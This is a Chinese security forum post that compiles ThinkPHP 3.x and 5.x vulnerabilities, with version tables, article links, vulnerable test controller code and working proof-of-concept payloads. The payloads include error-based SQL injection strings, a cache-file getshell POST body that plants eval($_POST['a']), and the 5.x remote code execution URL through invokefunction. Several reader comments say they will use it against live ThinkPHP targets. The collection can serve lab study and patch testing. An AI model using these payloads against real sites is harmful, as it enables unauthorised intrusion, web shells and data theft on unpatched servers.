Thinkphp3.x/5.x系列漏洞总结学习
ThinkPHP 漏洞列表
一、3.x
使用方法
cd /var/www/tp3
ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
标题 | ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell |
---|---|
时间 | 2017-08-09 |
版本 | <= 3.2.3 |
文章链接 | <https://xz.aliyun.com/t/99> |
ThinkPHP3.2.3_最新版update注入漏洞
标题 | Thinkphp3.2.3最新版update注入漏洞 |
---|---|
时间 | 2018-04-16 |
版本 | <= 3.2.3 |
文章链接 | <https://www.anquanke.com/post/id/104847> |
ThinkPHP3.2.X_find_select_delete注入
标题 | thinkphp3.2 find_select_delete注入 |
---|---|
时间 | 2018-08-23 |
版本 | <= 3.2.3 |
文章链接 | <https://xz.aliyun.com/t/2631> <https://xz.aliyun.com/t/2629> |
ThinkPHP3.X_order_by注入漏洞
标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
时间 | 2018-08-29 |
版本 | <= 3.2.3 |
文章链接 | <https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w> |
二、5.x
使用方法
cd /var/www/tp5
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
标题 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 |
---|---|
时间 | 2017-07-03 |
版本 | < 5.0.9 |
文章链接 | <https://xz.aliyun.com/t/125> <https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html> |
测试方法
git checkout 02f8e8a
测试代码
public function testsql() { $ids = input('ids/a'); $result = db('user')->where('id', 'in', $ids)->select(); var_dump($result); }
POC
testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
结果
ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell
标题 | ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell |
---|---|
时间 | 2017-08-09 |
版本 | < 5.0.11 |
文章链接 | <https://xz.aliyun.com/t/99> |
测试方法
git checkout 094dde5
测试代码
public function add() { $user = input('post.'); $m=db('user')->where(['id'=> 1])->insert($user); } public function cache() { $m = db('user')->select(); Cache::set('name',$m,3600); }
POC
post data: username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23 注:%2F%2F%0D%0A = //+回车
结果
其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而
md5('name') = b068931cc450442b63f5b3d276ea4297
ThinkPHP框架5.0.X_sql注入漏洞分析
标题 | ThinkPHP框架 5.0.x sql注入漏洞分析 |
---|---|
时间 | 2018-04-09 |
版本 | < 5.0.16 |
文章链接 | <https://xz.aliyun.com/t/2257> |
测试方法
git checkout 7c13757
测试代码
public function testsql() { $username = input('get.username/a'); db('user')->where(['id'=> 1])->insert(['username'=>$username]); }
POC
testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
结果
ThinkPHP5.X_order_by注入漏洞
标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
时间 | 2018-08-23 |
版本 | <= 5.1.22 |
文章链接 | <https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w> |
测试方法
git checkout 35e9878
测试代码
public function testsql() { $order = input('get.order'); $m = db('user')->order($order)->find(); var_dump($m); }
POC
testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
结果
ThinkPHP5.X_远程代码执行
标题 | ThinkPHP5.X 远程代码执行 |
---|---|
时间 | 2018-12-10 |
版本 | 5.0.5-5.0.22<br />5.1.0-5.1.30 |
文章链接 | <https://xz.aliyun.com/t/3570> <https://paper.seebug.org/760/> <https://paper.seebug.org/770> |
测试方法
git checkout 4fefa5e
测试代码
public function index() { //...无需实际代码 }
POC
index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
结果
更多可以查看 https://github.com/pochubs/pochubs/
TCV = 1
评论35次
感谢分享,最近刚好在看这方面的
不把日志目录可扫描也写上去么?
感谢楼主,tp真惨,rce那么多,能再收集收集轮子妈?
感谢大佬分享,正好收藏,很通俗很全
收藏一拨,正好在找tp3.X的~
刚好有目标是tp的,省得再去找了。。。。 话说,,没拿下 唉
刚在找thinkphp的漏洞,这里就有汇总的
收藏一波,刚好遇到了thinkphp的站
图片已更新
总结挺全面的 遗憾是某些图挂了 可以重写传一份吗
感谢,不过没图看的好难受
补充一下 https://xz.aliyun.com/t/2630 这里还有一些
感谢分享~
图片看不到。但是值得收藏。我自己测试一下。谢谢楼主的分享
感谢整理,感谢分享
感谢楼主整理分享
有图片挂了,不过感谢分享,3.2的thinkphp还是很多的
先知都有的东西,还发一遍!
还发原创,能不能加点货,比如3.2 M()方法也能造成注入这种
先知都有的东西,还发一遍!
好像还不错,可以把它整合成类似MSF的攻击框架